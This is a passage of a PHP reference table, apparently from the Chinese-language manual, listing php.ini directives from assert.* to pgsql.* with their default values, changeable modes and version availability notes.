assert.bail | "0" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.exception | "0" | PHP_INI_ALL | PHP 7.0.0 起可用。
assert.quiet_eval | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
auto_append_file | NULL | PHP_INI_PERDIR |
auto_detect_line_endings | "0" | PHP_INI_ALL |
auto_globals_jit | "1" | PHP_INI_PERDIR |
auto_prepend_file | NULL | PHP_INI_PERDIR |
axis2.client_home | "~/work/axisc/c/deply" | PHP_INI_ALL |
axis2.enable_exception | "1" | PHP_INI_ALL |
axis2.enable_trace | "1" | PHP_INI_ALL |
axis2.log_path | "/tmp" | PHP_INI_ALL |
bcmath.scale | "0" | PHP_INI_ALL |
bcompiler.enabled | "1" | PHP_INI_ALL | 从 bcompiler 0.8 起可用。
blenc.key_file | "/usr/local/etc/blenckeys" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
cgi.check_shebang_line | "1" | PHP_INI_SYSTEM | 从 PHP 5.2.1 起可用。
cgi.discard_path | "0" | PHP_INI_SYSTEM | 从 PHP 5.3.0 起可用。
cgi.fix_pathinfo | "1" | PHP_INI_SYSTEM | 在 PHP <= 5.2.0 时是 PHP_INI_ALL。
cgi.force_redirect | "1" | PHP_INI_SYSTEM | 在 PHP <= 5.2.0 时是 PHP_INI_ALL。
cgi.nph | "0" | PHP_INI_ALL |
cgi.redirect_status_env | NULL | PHP_INI_SYSTEM | 在 PHP <= 5.2.0 时是 PHP_INI_ALL。
cgi.rfc2616_headers | "0" | PHP_INI_ALL |
child_terminate | "0" | PHP_INI_ALL |
cli.pager | "" | PHP_INI_ALL | 从 PHP 5.4.0 起可用。
cli.prompt | "\\b \\> " | PHP_INI_ALL | 从 PHP 5.4.0 起可用。
cli_server.color | "0" | PHP_INI_ALL | 从 PHP 5.4.0 起可用。
coin_acceptor.autoreset | "On" | PHP_INI_ALL | 在 coin_acceptor 0.2 中移除该选项。
coin_acceptor.auto_initialize | "Off" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
coin_acceptor.auto_reset | "On" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
coin_acceptor.command_function | "Off" | PHP_INI_ALL | 从 coin_acceptor 0.3 起可用。
coin_acceptor.delay | "53132" | PHP_INI_ALL | 在 coin_acceptor 0.2 中移除该选项。
coin_acceptor.delay_coins | "53132" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
coin_acceptor.delay_prom | "55748" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
coin_acceptor.device | "/dev/ttyS1" | PHP_INI_ALL | 在 coin_acceptor 0.2 中移除该选项。
coin_acceptor.lock_on_close | "Off" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
coin_acceptor.start_unlocked | "On" | PHP_INI_ALL | 从 coin_acceptor 0.2 起可用。
com.allow_dcom | "0" | PHP_INI_SYSTEM |
com.autoregister_casesensitive | "1" | PHP_INI_ALL |
com.autoregister_typelib | "0" | PHP_INI_ALL |
com.autoregister_verbose | "0" | PHP_INI_ALL |
com.code_page | "" | PHP_INI_ALL |
com.typelib_file | "" | PHP_INI_SYSTEM |
curl.cainfo | NULL | PHP_INI_SYSTEM | PHP 5.3.7 起可用。
daffodildb.default_host | "localhost" | PHP_INI_ALL |
daffodildb.default_password | "daffodil" | PHP_INI_ALL |
daffodildb.default_socket | NULL | PHP_INI_ALL |
daffodildb.default_user | "DAFFODIL" | PHP_INI_ALL |
daffodildb.port | "3456" | PHP_INI_ALL |
date.default_latitude | "31.7667" | PHP_INI_ALL |
date.default_longitude | "35.2333" | PHP_INI_ALL |
date.sunrise_zenith | "90.583333" | PHP_INI_ALL |
date.sunset_zenith | "90.583333" | PHP_INI_ALL |
date.timezone | "" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。
dba.default_handler | "" | PHP_INI_ALL |
dbx.colnames_case | "unchanged" | PHP_INI_SYSTEM | 在 PHP 5.1.0 中移除该选项。
default_charset | "UTF-8" | PHP_INI_ALL | PHP >= 5.6.0 起，默认值为 "UTF-8"；PHP < 5.6.0 中是空的。
default_mimetype | "text/html" | PHP_INI_ALL |
default_socket_timeout | "60" | PHP_INI_ALL |
define_syslog_variables | "0" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
detect_unicode | "1" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。PHP 5.4.0 起重命名为 zend.detect_unicode。
disable_classes | "" | php.ini only |
disable_functions | "" | php.ini only |
display_errors | "1" | PHP_INI_ALL |
display_startup_errors | "0" | PHP_INI_ALL |
docref_ext | "" | PHP_INI_ALL |
docref_root | "" | PHP_INI_ALL |
doc_root | NULL | PHP_INI_SYSTEM |
enable_dl | "1" | PHP_INI_SYSTEM | 本过时特性将肯定会在未来被移除。
enable_post_data_reading | On | PHP_INI_PERDIR | PHP 5.4.0 起可用。
engine | "1" | PHP_INI_ALL |
error_append_string | NULL | PHP_INI_ALL |
error_log | NULL | PHP_INI_ALL |
error_prepend_string | NULL | PHP_INI_ALL |
error_reporting | NULL | PHP_INI_ALL |
exif.decode_jis_intel | "JIS" | PHP_INI_ALL |
exif.decode_jis_motorola | "JIS" | PHP_INI_ALL |
exif.decode_unicode_intel | "UCS-2LE" | PHP_INI_ALL |
exif.decode_unicode_motorola | "UCS-2BE" | PHP_INI_ALL |
exif.encode_jis | "" | PHP_INI_ALL |
exif.encode_unicode | "ISO-8859-15" | PHP_INI_ALL |
exit_on_timeout | "" | PHP_INI_ALL | 从 PHP 5.3 起可用。
expect.logfile | "" | PHP_INI_ALL |
expect.loguser | "1" | PHP_INI_ALL |
expect.timeout | "10" | PHP_INI_ALL |
expose_php | "1" | php.ini only |
extension | NULL | php.ini only |
extension_dir | "/path/to/php" | PHP_INI_SYSTEM |
fastcgi.impersonate | "0" | PHP_INI_SYSTEM | 在 PHP <= 5.2.0 时是 PHP_INI_ALL。
fastcgi.logging | "1" | PHP_INI_SYSTEM | 在 PHP <= 5.2.0 时是 PHP_INI_ALL。
fbsql.allow_persistent | "1" | PHP_INI_SYSTEM |
fbsql.autocommit | "1" | PHP_INI_SYSTEM |
fbsql.batchSize | "1000" | PHP_INI_SYSTEM | 在 PHP 5.1.0 中移除该选项。
fbsql.batchsize | "1000" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。
fbsql.default_database | "" | PHP_INI_SYSTEM |
fbsql.default_database_password | "" | PHP_INI_SYSTEM |
fbsql.default_host | NULL | PHP_INI_SYSTEM |
fbsql.default_password | "" | PHP_INI_SYSTEM |
fbsql.default_user | "_SYSTEM" | PHP_INI_SYSTEM |
fbsql.generate_warnings | "0" | PHP_INI_SYSTEM |
fbsql.max_connections | "128" | PHP_INI_SYSTEM |
fbsql.max_links | "128" | PHP_INI_SYSTEM |
fbsql.max_persistent | "-1" | PHP_INI_SYSTEM |
fbsql.max_results | "128" | PHP_INI_SYSTEM |
fbsql.show_timestamp_decimals | "0" | PHP_INI_SYSTEM | 从 PHP 5.1.5 起可用。
file_uploads | "1" | PHP_INI_SYSTEM |
filter.default | "unsafe_raw" | PHP_INI_PERDIR | 在 filter <= 0.9.4 时是 PHP_INI_ALL。 从 PHP 5.2.0 起可用。
filter.default_flags | NULL | PHP_INI_PERDIR | 在 filter <= 0.9.4 时是 PHP_INI_ALL。 从 PHP 5.2.0 起可用。
from | "" | PHP_INI_ALL |
gd.jpeg_ignore_warning | "1" | PHP_INI_ALL | 从 PHP 5.1.3 起可用。
geoip.custom_directory | NULL | PHP_INI_ALL | 从 geoip 1.0.1 起可用。
geoip.database_standard | "GeoIP.dat" | PHP_INI_ALL | 在 geoip 1.0.1 中移除该选项。
hard_timeout | "2" | PHP_INI_SYSTEM | PHP 7.1.0 起可用
hidef.ini_path | (char*)default_ini_path | PHP_INI_SYSTEM |
highlight.bg | "#FFFFFF" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
html_errors | "1" | PHP_INI_ALL |
htscanner.config_file | ".htaccess" | PHP_INI_SYSTEM |
htscanner.default_docroot | "/" | PHP_INI_SYSTEM |
htscanner.default_ttl | "300" | PHP_INI_SYSTEM | 从 htscanner 0.6.0 起可用。
htscanner.stop_on_error | "0" | PHP_INI_SYSTEM | 从 htscanner 0.7.0 起可用。
http.allowed_methods | "" | PHP_INI_ALL | Available since pecl_http 0.4.0. 在 pecl_http 1.0.0 中移除该选项。
http.allowed_methods_log | "" | PHP_INI_ALL | Available since pecl_http 0.12.0. 在 pecl_http 1.0.0 中移除该选项。
http.cache_log | "" | PHP_INI_ALL | Available since pecl_http 0.8.0. 在 pecl_http 1.0.0 中移除该选项。
http.composite_log | "" | PHP_INI_ALL | Available since pecl_http 0.12.0. 在 pecl_http 1.0.0 中移除该选项。
http.etag.mode | "MD5" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.etag_mode | "MD5" | PHP_INI_ALL | Available since pecl_http 0.12.0. 在 pecl_http 1.0.0 中移除该选项。
http.force_exit | "1" | PHP_INI_ALL | 从 pecl_http 0.18.0 起可用。
http.log.allowed_methods | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.log.cache | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.log.composite | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.log.not_found | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.log.redirect | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.ob_deflate_auto | "0" | PHP_INI_PERDIR | Available since pecl_http 0.21.0. 在 pecl_http 1.0.0 中移除该选项。
http.ob_deflate_flags | "0" | PHP_INI_ALL | Available since pecl_http 0.21.0. 在 pecl_http 1.0.0 中移除该选项。
http.ob_inflate_auto | "0" | PHP_INI_PERDIR | Available since pecl_http 0.21.0. 在 pecl_http 1.0.0 中移除该选项。
http.ob_inflate_flags | "0" | PHP_INI_ALL | Available since pecl_http 0.21.0. 在 pecl_http 1.0.0 中移除该选项。
http.only_exceptions | "0" | PHP_INI_ALL | 从 pecl_http 0.11.0 起可用。
http.persistent.handles.ident | "GLOBAL" | PHP_INI_ALL | 从 pecl_http 1.5.0 起可用。
http.persistent.handles.limit | "-1" | PHP_INI_SYSTEM | 从 pecl_http 1.5.0 起可用。
http.redirect_log | "" | PHP_INI_ALL | Available since pecl_http 0.12.0. 在 pecl_http 1.0.0 中移除该选项。
http.request.datashare.connect | "0" | PHP_INI_SYSTEM | 从 pecl_http 1.3.0 起可用。
http.request.datashare.cookie | "0" | PHP_INI_SYSTEM | 从 pecl_http 1.3.0 起可用。
http.request.datashare.dns | "1" | PHP_INI_SYSTEM | 从 pecl_http 1.3.0 起可用。
http.request.datashare.ssl | "0" | PHP_INI_SYSTEM | 从 pecl_http 1.3.0 起可用。
http.request.methods.allowed | "" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.request.methods.custom | "" | PHP_INI_PERDIR | 从 pecl_http 1.0.0 起可用。
http.send.deflate.start_auto | "0" | PHP_INI_PERDIR | 从 pecl_http 1.0.0 起可用。
http.send.deflate.start_flags | "0" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.send.inflate.start_auto | "0" | PHP_INI_PERDIR | 从 pecl_http 1.0.0 起可用。
http.send.inflate.start_flags | "0" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
http.send.not_found_404 | "1" | PHP_INI_ALL | 从 pecl_http 1.0.0 起可用。
ibase.allow_persistent | "1" | PHP_INI_SYSTEM |
ibase.dateformat | "%Y-%m-%d" | PHP_INI_ALL |
ibase.default_charset | NULL | PHP_INI_ALL |
ibase.default_db | NULL | PHP_INI_SYSTEM |
ibase.default_password | NULL | PHP_INI_ALL |
ibase.default_user | NULL | PHP_INI_ALL |
ibase.max_links | "-1" | PHP_INI_SYSTEM |
ibase.max_persistent | "-1" | PHP_INI_SYSTEM |
ibase.timeformat | "%H:%M:%S" | PHP_INI_ALL |
ibase.timestampformat | "%Y-%m-%d %H:%M:%S" | PHP_INI_ALL |
ibm_db2.binmode | "1" | PHP_INI_ALL |
ibm_db2.i5_all_pconnect | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.6.5.
ibm_db2.i5_allow_commit | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.4.9.
ibm_db2.i5_dbcs_alloc | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.5.0.
ibm_db2.instance_name | NULL | PHP_INI_SYSTEM | Available since ibm_db2 1.0.2.
ibm_db2.i5_ignore_userid | "0" | PHP_INI_SYSTEM | Available since ibm_db2 1.8.0.
iconv.input_encoding | "ISO-8859-1" | PHP_INI_ALL |
iconv.internal_encoding | "ISO-8859-1" | PHP_INI_ALL |
iconv.output_encoding | "ISO-8859-1" | PHP_INI_ALL |
ifx.allow_persistent | "1" | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.blobinfile | "1" | PHP_INI_ALL | 在 PHP 5.2.1 中移除该选项。
ifx.byteasvarchar | "0" | PHP_INI_ALL | 在 PHP 5.2.1 中移除该选项。
ifx.charasvarchar | "0" | PHP_INI_ALL | 在 PHP 5.2.1 中移除该选项。
ifx.default_host | NULL | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.default_password | NULL | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.default_user | NULL | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.max_links | "-1" | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.max_persistent | "-1" | PHP_INI_SYSTEM | 在 PHP 5.2.1 中移除该选项。
ifx.nullformat | "0" | PHP_INI_ALL | 在 PHP 5.2.1 中移除该选项。
ifx.textasvarchar | "0" | PHP_INI_ALL | 在 PHP 5.2.1 中移除该选项。
ignore_repeated_errors | "0" | PHP_INI_ALL |
ignore_repeated_source | "0" | PHP_INI_ALL |
ignore_user_abort | "0" | PHP_INI_ALL |
imlib2.font_cache_max_size | "524288" | PHP_INI_ALL |
imlib2.font_path | "/usr/share/php/fonts/" | PHP_INI_ALL |
implicit_flush | "0" | PHP_INI_ALL |
include_path | ".;/path/to/php/pear" | PHP_INI_ALL |
intl.default_locale | "" | PHP_INI_ALL | 从 PHP 5.3.0 起可用。
intl.error_level | "0" | PHP_INI_ALL | 从 PHP 5.3.0 起可用。
intl.use_exceptions | "0" | PHP_INI_ALL | 从 PHP 5.5.0 起可用。
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.array_index_start | "1" | PHP_INI_ALL | Available since ingres 1.4.0.
ingres.auto | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.blob_segment_length | "4096" | PHP_INI_ALL | Available since ingres 1.2.0.
ingres.cursor_mode | "0" | PHP_INI_ALL | Available since ingres 1.1.0.
ingres.default_database | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_password | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_user | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.describe | 1 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.fetch_buffer_size | 100 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.max_links | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.reuse_connection | "1" | PHP_INI_ALL | Available since ingres 2.0.0
ingres.scrollable | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace | "0" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace_connect | "0" | PHP_INI_ALL | Available since ingres 1.2.1.
ingres.utf8 | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
last_modified | "0" | PHP_INI_ALL |
ldap.max_links | "-1" | PHP_INI_SYSTEM |
log_errors | "0" | PHP_INI_ALL |
log_errors_max_len | "1024" | PHP_INI_ALL |
magic_quotes_gpc | "1" | PHP_INI_PERDIR | 从 PHP 5.3.0 起不推荐使用。 在 PHP 5.4.0 中移除该选项。
magic_quotes_runtime | "0" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
magic_quotes_sybase | "0" | PHP_INI_ALL | 在 PHP 5.4.0 中移除该选项。
mail.add_x_header | "0" | PHP_INI_PERDIR | 从 PHP 5.3.0 起可用。
mail.force_extra_parameters | NULL | php.ini only | 从 PHP 5.0.0 起可用。
mail.log | "" | PHP_INI_PERDIR | 从 PHP 5.3.0 起可用。（PHP_INI_SYSTEM|PHP_INI_PERDIR）
maxdb.default_db | NULL | PHP_INI_ALL |
maxdb.default_host | NULL | PHP_INI_ALL |
maxdb.default_pw | NULL | PHP_INI_ALL |
maxdb.default_user | NULL | PHP_INI_ALL |
maxdb.long_readlen | "200" | PHP_INI_ALL |
max_execution_time | "30" | PHP_INI_ALL |
max_input_nesting_level | "64" | PHP_INI_PERDIR | 从 PHP 5.2.3 起可用。
max_input_vars | 1000 | PHP_INI_PERDIR | 从 PHP 5.3.9 起可用。
max_input_time | "-1" | PHP_INI_PERDIR |
mbstring.detect_order | NULL | PHP_INI_ALL |
mbstring.encoding_translation | "0" | PHP_INI_PERDIR |
mbstring.func_overload | "0" | PHP_INI_SYSTEM | PHP_INI_SYSTEM | PHP_INI_PERDIR PHP <= 5.2.6
mbstring.http_input | "pass" | PHP_INI_ALL |
mbstring.http_output | "pass" | PHP_INI_ALL |
mbstring.internal_encoding | NULL | PHP_INI_ALL |
mbstring.language | "neutral" | PHP_INI_ALL | PHP <= 5.2.6 中是 PHP_INI_PERDIR
mbstring.script_encoding | NULL | PHP_INI_ALL | PHP 5.4.0 中移除。用 zend.script_encoding 代替。
mbstring.http_output_conv_mimetypes | "^(text/|application/xhtml\+xml)" | PHP_INI_ALL | 从 PHP 5.3.0 起可用。
mbstring.strict_detection | "0" | PHP_INI_ALL | 从 PHP 5.1.2 起可用。
mbstring.substitute_character | NULL | PHP_INI_ALL |
mcrypt.algorithms_dir | NULL | PHP_INI_ALL |
mcrypt.modes_dir | NULL | PHP_INI_ALL |
memcache.allow_failover | "1" | PHP_INI_ALL | 从 memcache 2.0.2 起可用。
memcache.chunk_size | "8192" | PHP_INI_ALL | 从 memcache 2.0.2 起可用。
memcache.default_port | "11211" | PHP_INI_ALL | 从 memcache 2.0.2 起可用。
memcache.hash_function | "crc32" | PHP_INI_ALL | 从 memcache 2.2.0 起可用。
memcache.hash_strategy | "standard" | PHP_INI_ALL | 从 memcache 2.2.0 起可用。
memcache.max_failover_attempts | "20" | PHP_INI_ALL | 从 memcache 2.1.0 起可用。
memory_limit | "128M" | PHP_INI_ALL |
mime_magic.debug | "0" | PHP_INI_SYSTEM |
mime_magic.magicfile | "/path/to/php/magic.mime" | PHP_INI_SYSTEM |
mongo.allow_empty_keys | 0 | PHP_INI_ALL |
mongo.allow_persistent | 1 | PHP_INI_ALL | Removed in 1.2.0
mongo.chunk_size | 262144 | PHP_INI_ALL |
mongo.cmd | "$" | PHP_INI_ALL |
mongo.default_host | "localhost" | PHP_INI_ALL |
mongo.default_port | 27017 | PHP_INI_ALL |
mongo.is_master_interval | 15 | PHP_INI_ALL | Added in 1.2.10, before 1.3.0 the default value was 60.
mongo.long_as_object | 0 | PHP_INI_ALL |
mongo.native_long | 1 | PHP_INI_ALL | Before 1.5.0, the default value was 0.
mongo.ping_interval | 5 | PHP_INI_ALL | Added in 1.2.10
mongo.utf8 | 1 | PHP_INI_ALL |
msql.allow_persistent | "1" | PHP_INI_ALL |
msql.max_links | "-1" | PHP_INI_ALL |
msql.max_persistent | "-1" | PHP_INI_ALL |
mssql.allow_persistent | "1" | PHP_INI_SYSTEM |
mssql.batchsize | "0" | PHP_INI_ALL |
mssql.charset | "" | PHP_INI_ALL | 从 PHP 5.1.2 起可用。
mssql.compatability_mode | "0" | PHP_INI_ALL |
mssql.connect_timeout | "5" | PHP_INI_ALL |
mssql.datetimeconvert | "1" | PHP_INI_ALL |
mssql.max_links | "-1" | PHP_INI_SYSTEM |
mssql.max_persistent | "-1" | PHP_INI_SYSTEM |
mssql.max_procs | "-1" | PHP_INI_ALL |
mssql.min_error_severity | "10" | PHP_INI_ALL |
mssql.min_message_severity | "10" | PHP_INI_ALL |
mssql.secure_connection | "0" | PHP_INI_SYSTEM |
mssql.textlimit | "-1" | PHP_INI_ALL |
mssql.textsize | "-1" | PHP_INI_ALL |
mssql.timeout | "60" | PHP_INI_ALL |
mysql.allow_local_infile | "1" | PHP_INI_SYSTEM |
mysql.allow_persistent | "1" | PHP_INI_SYSTEM |
mysql.max_persistent | "-1" | PHP_INI_SYSTEM |
mysql.max_links | "-1" | PHP_INI_SYSTEM |
mysql.trace_mode | "0" | PHP_INI_ALL | 自 PHP 4.3.0 起可用
mysql.default_port | NULL | PHP_INI_ALL |
mysql.default_socket | NULL | PHP_INI_ALL | 自 PHP 4.0.1 起可用
mysql.default_host | NULL | PHP_INI_ALL |
mysql.default_user | NULL | PHP_INI_ALL |
mysql.default_password | NULL | PHP_INI_ALL |
mysql.connect_timeout | "60" | PHP_INI_ALL | 自 PHP 4.3.0 起可用。在 PHP <= 4.3.2 时为 PHP_INI_SYSTEM
mysqli.allow_local_infile | "1" | PHP_INI_SYSTEM | 自PHP 5.2.4起可用。
mysqli.allow_persistent | "1" | PHP_INI_SYSTEM | 自PHP 5.3.0起可用。
mysqli.max_persistent | "-1" | PHP_INI_SYSTEM | 自PHP 5.3.0起可用。
mysqli.max_links | "-1" | PHP_INI_SYSTEM | 自PHP 5.0.0起可用。
mysqli.default_port | "3306" | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.default_socket | NULL | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.default_host | NULL | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.default_user | NULL | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.default_pw | NULL | PHP_INI_ALL | 自PHP 5.0.0起可用。
mysqli.reconnect | "0" | PHP_INI_SYSTEM | 自PHP 4.3.5起可用。
mysqli.rollback_on_cached_plink | TRUE | PHP_INI_SYSTEM | 自 PHP 5.6.0 起可用。
mysqlnd.collect_memory_statistics | "0" | PHP_INI_SYSTEM | 从 PHP 5.3.0 起可用
mysqlnd.collect_statistics | "1" | PHP_INI_ALL | 从 PHP 5.3.0 起可用
mysqlnd.debug | "" | PHP_INI_SYSTEM | 从 PHP 5.3.0 起可用
mysqlnd.log_mask | "0" | PHP_INI_ALL | 从 PHP 5.4.0 起可用
mysqlnd.mempool_default_size | "16000" | PHP_INI_ALL | 从 PHP 5.4.0 起可用
mysqlnd.net_cmd_buffer_size | "4096" | PHP_INI_ALL | 从 PHP 5.4.0 起可用
mysqlnd.net_read_buffer_size | "32768" | PHP_INI_ALL | 从 PHP 5.3.0 起可用
mysqlnd.net_read_timeout | "31536000" | PHP_INI_SYSTEM | 从 PHP 5.4.0 起可用
mysqlnd.sha256_server_public_key | "" | PHP_INI_PERDIR | 从 PHP 5.5.0 起可用
mysqlnd.trace_alloc | "" | PHP_INI_SYSTEM | 从 PHP 5.5.0 起可用
mysqlnd_memcache.enable | 1 | PHP_INI_SYSTEM | Available since 1.0.0
mysqlnd_ms.enable | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.force_config_usage | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.ini_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.config_file | "" | PHP_INI_SYSTEM |
mysqlnd_ms.collect_statistics | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.multi_master | 0 | PHP_INI_SYSTEM |
mysqlnd_ms.disable_rw_split | 0 | PHP_INI_SYSTEM |
mysqlnd_mux.enable | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.enable_qc | 1 | PHP_INI_SYSTEM |
mysqlnd_qc.ttl | 30 | PHP_INI_ALL |
mysqlnd_qc.cache_by_default | 0 | PHP_INI_ALL |
mysqlnd_qc.cache_no_table | 0 | PHP_INI_ALL |
mysqlnd_qc.use_request_time | 0 | PHP_INI_ALL |
mysqlnd_qc.time_statistics | 1 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics | 0 | PHP_INI_ALL |
mysqlnd_qc.collect_statistics_log_file | /tmp/mysqlnd_qc.stats | PHP_INI_SYSTEM |
mysqlnd_qc.collect_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.query_trace_bt_depth | 3 | PHP_INI_SYSTEM |
mysqlnd_qc.collect_normalized_query_trace | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.ignore_sql_comments | 1 | PHP_INI_ALL |
mysqlnd_qc.slam_defense | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.slam_defense_ttl | 30 | PHP_INI_SYSTEM |
mysqlnd_qc.std_data_copy | 0 | PHP_INI_SYSTEM |
mysqlnd_qc.apc_prefix | qc_ | PHP_INI_ALL |
mysqlnd_qc.memc_server | 127.0.0.1 | PHP_INI_ALL |
mysqlnd_qc.memc_port | 11211 | PHP_INI_ALL |
mysqlnd_qc.sqlite_data_file | :memory: | PHP_INI_ALL |
mysqlnd_uh.enable | 1 | PHP_INI_SYSTEM |
mysqlnd_uh.report_wrong_types | 1 | PHP_INI_ALL |
nsapi.read_timeout | "60" | PHP_INI_ALL | 从 PHP 4.3.3 起可用。
oci8.connection_class | "" | PHP_INI_ALL | 从 PHP 5.3 起可用 (PECL OCI8 1.3)。
oci8.default_prefetch | "10" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.events | Off | PHP_INI_SYSTEM | 从 PHP 5.3 起可用 (PECL OCI8 1.3)。
oci8.max_persistent | "-1" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.old_oci_close_semantics | "0" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.persistent_timeout | "-1" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.ping_interval | "60" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.privileged_connect | "0" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
oci8.statement_cache_size | "20" | PHP_INI_SYSTEM | 从 PHP 5.1.2 起可用。
odbc.allow_persistent | "1" | PHP_INI_SYSTEM |
odbc.check_persistent | "1" | PHP_INI_SYSTEM |
odbc.defaultbinmode | "1" | PHP_INI_ALL |
odbc.defaultlrl | "4096" | PHP_INI_ALL |
odbc.default_db | NULL | PHP_INI_ALL |
odbc.default_cursortype | "3" | PHP_INI_ALL | Available since PHP 5.3.0.
odbc.default_pw | NULL | PHP_INI_ALL |
odbc.default_user | NULL | PHP_INI_ALL |
odbc.max_links | "-1" | PHP_INI_SYSTEM |
odbc.max_persistent | "-1" | PHP_INI_SYSTEM |
odbtp.datetime_format | "object" | PHP_INI_ALL |
odbtp.detach_default_queries | "0" | PHP_INI_ALL |
odbtp.guid_format | "string" | PHP_INI_ALL | 从 odbtp 1.1.3 起可用。
odbtp.interface_file | "/usr/local/share/odbtp.conf" | PHP_INI_ALL |
odbtp.truncation_errors | "1" | PHP_INI_ALL |
opendirectory.default_separator | "/" | PHP_INI_ALL | 在 opendirectory 0.2.2 中移除该选项。
opendirectory.max_refs | "-1" | PHP_INI_ALL |
opendirectory.separator | "/" | PHP_INI_ALL | 从 opendirectory 0.2.2 起可用。
open_basedir | NULL | PHP_INI_ALL | 在 PHP < 5.2.3 时是 PHP_INI_SYSTEM。
oracle.allow_persistent | "-1" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
oracle.max_links | "-1" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
oracle.max_persistent | "-1" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR |
pam.servicename | "php" | PHP_INI_ALL |
pcre.backtrack_limit | "1000000" | PHP_INI_ALL | 从 PHP 5.2.0 起可用。
pcre.recursion_limit | "100000" | PHP_INI_ALL | 从 PHP 5.2.0 起可用。
pcre.jit | "1" | PHP_INI_ALL | 从 PHP 7.0.0 起可用。
pdo.dsn.* |  | php.ini only | 从 PHP 5.1.0 起可用。
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL | 从 PHP 5.1.0 起可用。
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | 从 PHP 5.1.1 起可用。 本过时特性将肯定会在未来被移除。
pfpro.defaulthost | "test-payflow.verisign.com" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.defaultport | "443" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.defaulttimeout | "30" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.proxyaddress | "" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.proxylogon | "" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.proxypassword | "" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pfpro.proxyport | "" | PHP_INI_ALL | 在 PHP 5.1.0 中移除该选项。
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM |
pgsql.ignore_notice | "0" | PHP_INI_ALL |
pgsql.log_notice | "0" | PHP_INI_ALL |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
